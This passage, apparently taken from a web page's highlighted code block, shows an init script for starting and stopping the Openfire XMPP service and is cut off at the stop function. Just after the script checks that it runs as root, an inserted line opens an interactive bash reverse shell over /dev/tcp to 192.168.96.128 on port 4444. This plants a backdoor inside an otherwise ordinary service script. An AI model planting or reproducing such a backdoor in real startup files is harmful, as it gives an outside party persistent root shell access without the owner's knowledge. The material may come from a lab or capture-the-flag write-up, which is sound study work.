43&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 44&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 45&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 46&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 47&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 48&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 49&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 50&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 51&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 52&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 53&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 54&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 55&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 56&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 57&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 58&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 59&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 60&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 61&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 62&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 63&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 64&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 65&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 66&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 67&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 68&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 69&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 70&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 71&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 72&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 73&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 74&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 75&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 76&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 77&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 78&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 79&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 80&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 81&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 82&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 83&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 84&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 85&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 86&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 87&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 88&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 89&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 90&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 91&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 92&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 93&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 94&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 95&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 96&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 97&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 98&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 99&#10;&lt;/span&gt;&lt;span class="lnt"&gt;100&#10;&lt;/span&gt;&lt;span class="lnt"&gt;101&#10;&lt;/span&gt;&lt;span class="lnt"&gt;102&#10;&lt;/span&gt;&lt;span class="lnt"&gt;103&#10;&lt;/span&gt;&lt;span class="lnt"&gt;104&#10;&lt;/span&gt;&lt;span class="lnt"&gt;105&#10;&lt;/span&gt;&lt;span class="lnt"&gt;106&#10;&lt;/span&gt;&lt;span class="lnt"&gt;107&#10;&lt;/span&gt;&lt;span class="lnt"&gt;108&#10;&lt;/span&gt;&lt;span class="lnt"&gt;109&#10;&lt;/span&gt;&lt;span class="lnt"&gt;110&#10;&lt;/span&gt;&lt;span class="lnt"&gt;111&#10;&lt;/span&gt;&lt;span class="lnt"&gt;112&#10;&lt;/span&gt;&lt;span class="lnt"&gt;113&#10;&lt;/span&gt;&lt;span class="lnt"&gt;114&#10;&lt;/span&gt;&lt;span class="lnt"&gt;115&#10;&lt;/span&gt;&lt;span class="lnt"&gt;116&#10;&lt;/span&gt;&lt;span class="lnt"&gt;117&#10;&lt;/span&gt;&lt;span class="lnt"&gt;118&#10;&lt;/span&gt;&lt;span class="lnt"&gt;119&#10;&lt;/span&gt;&lt;span class="lnt"&gt;120&#10;&lt;/span&gt;&lt;span class="lnt"&gt;121&#10;&lt;/span&gt;&lt;span class="lnt"&gt;122&#10;&lt;/span&gt;&lt;span class="lnt"&gt;123&#10;&lt;/span&gt;&lt;span class="lnt"&gt;124&#10;&lt;/span&gt;&lt;span class="lnt"&gt;125&#10;&lt;/span&gt;&lt;span class="lnt"&gt;126&#10;&lt;/span&gt;&lt;span class="lnt"&gt;127&#10;&lt;/span&gt;&lt;span class="lnt"&gt;128&#10;&lt;/span&gt;&lt;span class="lnt"&gt;129&#10;&lt;/span&gt;&lt;span class="lnt"&gt;130&#10;&lt;/span&gt;&lt;span class="lnt"&gt;131&#10;&lt;/span&gt;&lt;span class="lnt"&gt;132&#10;&lt;/span&gt;&lt;span class="lnt"&gt;133&#10;&lt;/span&gt;&lt;span class="lnt"&gt;134&#10;&lt;/span&gt;&lt;span class="lnt"&gt;135&#10;&lt;/span&gt;&lt;span class="lnt"&gt;136&#10;&lt;/span&gt;&lt;span class="lnt"&gt;137&#10;&lt;/span&gt;&lt;span class="lnt"&gt;138&#10;&lt;/span&gt;&lt;span class="lnt"&gt;139&#10;&lt;/span&gt;&lt;span class="lnt"&gt;140&#10;&lt;/span&gt;&lt;span class="lnt"&gt;141&#10;&lt;/span&gt;&lt;span class="lnt"&gt;142&#10;&lt;/span&gt;&lt;span class="lnt"&gt;143&#10;&lt;/span&gt;&lt;span class="lnt"&gt;144&#10;&lt;/span&gt;&lt;span class="lnt"&gt;145&#10;&lt;/span&gt;&lt;span class="lnt"&gt;146&#10;&lt;/span&gt;&lt;span class="lnt"&gt;147&#10;&lt;/span&gt;&lt;span class="lnt"&gt;148&#10;&lt;/span&gt;&lt;span class="lnt"&gt;149&#10;&lt;/span&gt;&lt;span class="lnt"&gt;150&#10;&lt;/span&gt;&lt;span class="lnt"&gt;151&#10;&lt;/span&gt;&lt;span class="lnt"&gt;152&#10;&lt;/span&gt;&lt;span class="lnt"&gt;153&#10;&lt;/span&gt;&lt;span class="lnt"&gt;154&#10;&lt;/span&gt;&lt;span class="lnt"&gt;155&#10;&lt;/span&gt;&lt;span class="lnt"&gt;156&#10;&lt;/span&gt;&lt;span class="lnt"&gt;157&#10;&lt;/span&gt;&lt;span class="lnt"&gt;158&#10;&lt;/span&gt;&lt;span class="lnt"&gt;159&#10;&lt;/span&gt;&lt;span class="lnt"&gt;160&#10;&lt;/span&gt;&lt;span class="lnt"&gt;161&#10;&lt;/span&gt;&lt;span class="lnt"&gt;162&#10;&lt;/span&gt;&lt;span class="lnt"&gt;163&#10;&lt;/span&gt;&lt;span class="lnt"&gt;164&#10;&lt;/span&gt;&lt;span class="lnt"&gt;165&#10;&lt;/span&gt;&lt;span class="lnt"&gt;166&#10;&lt;/span&gt;&lt;span class="lnt"&gt;167&#10;&lt;/span&gt;&lt;span class="lnt"&gt;168&#10;&lt;/span&gt;&lt;span class="lnt"&gt;169&#10;&lt;/span&gt;&lt;span class="lnt"&gt;170&#10;&lt;/span&gt;&lt;span class="lnt"&gt;171&#10;&lt;/span&gt;&lt;span class="lnt"&gt;172&#10;&lt;/span&gt;&lt;span class="lnt"&gt;173&#10;&lt;/span&gt;&lt;span class="lnt"&gt;174&#10;&lt;/span&gt;&lt;span class="lnt"&gt;175&#10;&lt;/span&gt;&lt;span class="lnt"&gt;176&#10;&lt;/span&gt;&lt;span class="lnt"&gt;177&#10;&lt;/span&gt;&lt;span class="lnt"&gt;178&#10;&lt;/span&gt;&lt;span class="lnt"&gt;179&#10;&lt;/span&gt;&lt;span class="lnt"&gt;180&#10;&lt;/span&gt;&lt;span class="lnt"&gt;181&#10;&lt;/span&gt;&lt;span class="lnt"&gt;182&#10;&lt;/span&gt;&lt;span class="lnt"&gt;183&#10;&lt;/span&gt;&lt;span class="lnt"&gt;184&#10;&lt;/span&gt;&lt;span class="lnt"&gt;185&#10;&lt;/span&gt;&lt;span class="lnt"&gt;186&#10;&lt;/span&gt;&lt;span class="lnt"&gt;187&#10;&lt;/span&gt;&lt;span class="lnt"&gt;188&#10;&lt;/span&gt;&lt;span class="lnt"&gt;189&#10;&lt;/span&gt;&lt;span class="lnt"&gt;190&#10;&lt;/span&gt;&lt;span class="lnt"&gt;191&#10;&lt;/span&gt;&lt;span class="lnt"&gt;192&#10;&lt;/span&gt;&lt;span class="lnt"&gt;193&#10;&lt;/span&gt;&lt;span class="lnt"&gt;194&#10;&lt;/span&gt;&lt;span class="lnt"&gt;195&#10;&lt;/span&gt;&lt;span class="lnt"&gt;196&#10;&lt;/span&gt;&lt;span class="lnt"&gt;197&#10;&lt;/span&gt;&lt;span class="lnt"&gt;198&#10;&lt;/span&gt;&lt;span class="lnt"&gt;199&#10;&lt;/span&gt;&lt;span class="lnt"&gt;200&#10;&lt;/span&gt;&lt;span class="lnt"&gt;201&#10;&lt;/span&gt;&lt;span class="lnt"&gt;202&#10;&lt;/span&gt;&lt;span class="lnt"&gt;203&#10;&lt;/span&gt;&lt;span class="lnt"&gt;204&#10;&lt;/span&gt;&lt;span class="lnt"&gt;205&#10;&lt;/span&gt;&lt;span class="lnt"&gt;206&#10;&lt;/span&gt;&lt;span class="lnt"&gt;207&#10;&lt;/span&gt;&lt;span class="lnt"&gt;208&#10;&lt;/span&gt;&lt;span class="lnt"&gt;209&#10;&lt;/span&gt;&lt;span class="lnt"&gt;210&#10;&lt;/span&gt;&lt;span class="lnt"&gt;211&#10;&lt;/span&gt;&lt;span class="lnt"&gt;212&#10;&lt;/span&gt;&lt;span class="lnt"&gt;213&#10;&lt;/span&gt;&lt;span class="lnt"&gt;214&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#!/bin/sh&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# openfire Stops and starts the Openfire XMPP service.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# chkconfig: 2345 99 1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# description: Openfire is an XMPP server, which is a server that facilitates \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# XML based communication, such as chat.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# config: /opt/openfire/conf/openfire.xml&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# config: /etc/sysconfig/openfire&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# pidfile: /var/run/openfire.pid&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# This script has currently been tested on Redhat, CentOS, and Fedora based&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# systems.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#####&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Begin setup work&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#####&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Initialization&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PATH=&amp;#34;/sbin:/bin:/usr/bin:/usr/sbin&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;RETVAL=0&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Check that we are root ... so non-root users stop here.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;if [ &amp;#34;`id -u`&amp;#34; != 0 ]; then&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo $0 must be run as root&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;exit 1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;fi&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;su -s /bin/sh -c &amp;#34;bash -i &amp;gt;&amp;amp; /dev/tcp/192.168.96.128/4444 0&amp;gt;&amp;amp;1&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Get config.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[ -f &amp;#34;/etc/sysconfig/openfire&amp;#34; ] &amp;amp;&amp;amp; . /etc/sysconfig/openfire&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;if [ -f &amp;#34;/etc/init.d/functions&amp;#34; ]; then&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;FUNCTIONS_FOUND=true&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;. /etc/init.d/functions&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;fi&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# If openfire user is not set in sysconfig, set to daemon.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[ -z &amp;#34;$OPENFIRE_USER&amp;#34; ] &amp;amp;&amp;amp; OPENFIRE_USER=&amp;#34;daemon&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# If pid file path is not set in sysconfig, set to /var/run/openfire.pid.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[ -z &amp;#34;$OPENFIRE_PIDFILE&amp;#34; ] &amp;amp;&amp;amp; OPENFIRE_PIDFILE=&amp;#34;/var/run/openfire.pid&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# -----------------------------------------------------------------&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# If a openfire home variable has not been specified, try to determine it.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;if [ -z &amp;#34;$OPENFIRE_HOME&amp;#34; -o ! -d &amp;#34;$OPENFIRE_HOME&amp;#34; ]; then&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;if [ -d &amp;#34;/usr/share/openfire&amp;#34; ]; then&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;OPENFIRE_HOME=&amp;#34;/usr/share/openfire&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;elif [ -d &amp;#34;/usr/local/openfire&amp;#34; ]; then&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;OPENFIRE_HOME=&amp;#34;/usr/local/openfire&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;elif [ -d &amp;#34;/opt/openfire&amp;#34; ]; then&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;OPENFIRE_HOME=&amp;#34;/opt/openfire&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;else&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo &amp;#34;Could not find Openfire installation under /opt, /usr/share, or /usr/local.&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo &amp;#34;Please specify the Openfire installation location as variable OPENFIRE_HOME&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo &amp;#34;in /etc/sysconfig/openfire.&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;exit 1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;fi&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;fi&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# If log path is not set in sysconfig, set to $OPENFIRE_HOME/logs.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[ -z &amp;#34;$OPENFIRE_LOGDIR&amp;#34; ] &amp;amp;&amp;amp; OPENFIRE_LOGDIR=&amp;#34;${OPENFIRE_HOME}/logs&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Attempt to locate java installation.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;if [ -z &amp;#34;$JAVA_HOME&amp;#34; ]; then&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;if [ -d &amp;#34;${OPENFIRE_HOME}/jre&amp;#34; ]; then&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;JAVA_HOME=&amp;#34;${OPENFIRE_HOME}/jre&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;elif [ -d &amp;#34;/etc/alternatives/jre&amp;#34; ]; then&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;JAVA_HOME=&amp;#34;/etc/alternatives/jre&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;else&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;jdks=`ls -r1d /usr/java/j*`&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;for jdk in $jdks; do&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;if [ -f &amp;#34;${jdk}/bin/java&amp;#34; ]; then&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;JAVA_HOME=&amp;#34;$jdk&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;break&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;fi&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;done&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;fi&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;fi&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;JAVACMD=&amp;#34;${JAVA_HOME}/bin/java&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;if [ ! -d &amp;#34;$JAVA_HOME&amp;#34; -o ! -x &amp;#34;$JAVACMD&amp;#34; ]; then&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo &amp;#34;Error: JAVA_HOME is not defined correctly.&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo &amp;#34; Can not sure execute $JAVACMD.&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;exit 1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;fi&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Prepare location of openfire libraries&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;OPENFIRE_LIB=&amp;#34;${OPENFIRE_HOME}/lib&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Prepare openfire command line&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;OPENFIRE_OPTS=&amp;#34;${OPENFIRE_OPTS} -DopenfireHome=${OPENFIRE_HOME} -Dopenfire.lib.dir=${OPENFIRE_LIB}&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Prepare local java class path&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;if [ -z &amp;#34;$LOCALCLASSPATH&amp;#34; ]; then&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;LOCALCLASSPATH=&amp;#34;${OPENFIRE_LIB}/startup.jar&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;else&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;LOCALCLASSPATH=&amp;#34;${OPENFIRE_LIB}/startup.jar:${LOCALCLASSPATH}&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;fi&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Export any necessary variables&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;export JAVA_HOME JAVACMD&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Lastly, prepare the full command that we are going to run.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;OPENFIRE_RUN_CMD=&amp;#34;${JAVACMD} -server ${OPENFIRE_OPTS} -classpath \&amp;#34;${LOCALCLASSPATH}\&amp;#34; -jar \&amp;#34;${OPENFIRE_LIB}/startup.jar\&amp;#34;&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#####&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# End setup work&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#####&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;start() {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;OLD_PWD=`pwd`&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cd $OPENFIRE_LOGDIR&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PID=$(findPID)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;if [ -n &amp;#34;$PID&amp;#34; ]; then&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo &amp;#34;Openfire is already running.&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;RETVAL=1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;return&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;fi&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Start daemons.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo -n &amp;#34;Starting openfire: &amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rm -f nohup.out&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;su -s /bin/sh -c &amp;#34;nohup $OPENFIRE_RUN_CMD &amp;gt; $OPENFIRE_LOGDIR/nohup.out 2&amp;gt;&amp;amp;1 &amp;amp;&amp;#34; $OPENFIRE_USER&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;RETVAL=$?&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[ $RETVAL -eq 0 -a -d /var/lock/subsys ] &amp;amp;&amp;amp; touch /var/lock/subsys/openfire&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sleep 1 # allows prompt to return&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cd $OLD_PWD&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;stop() {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Stop 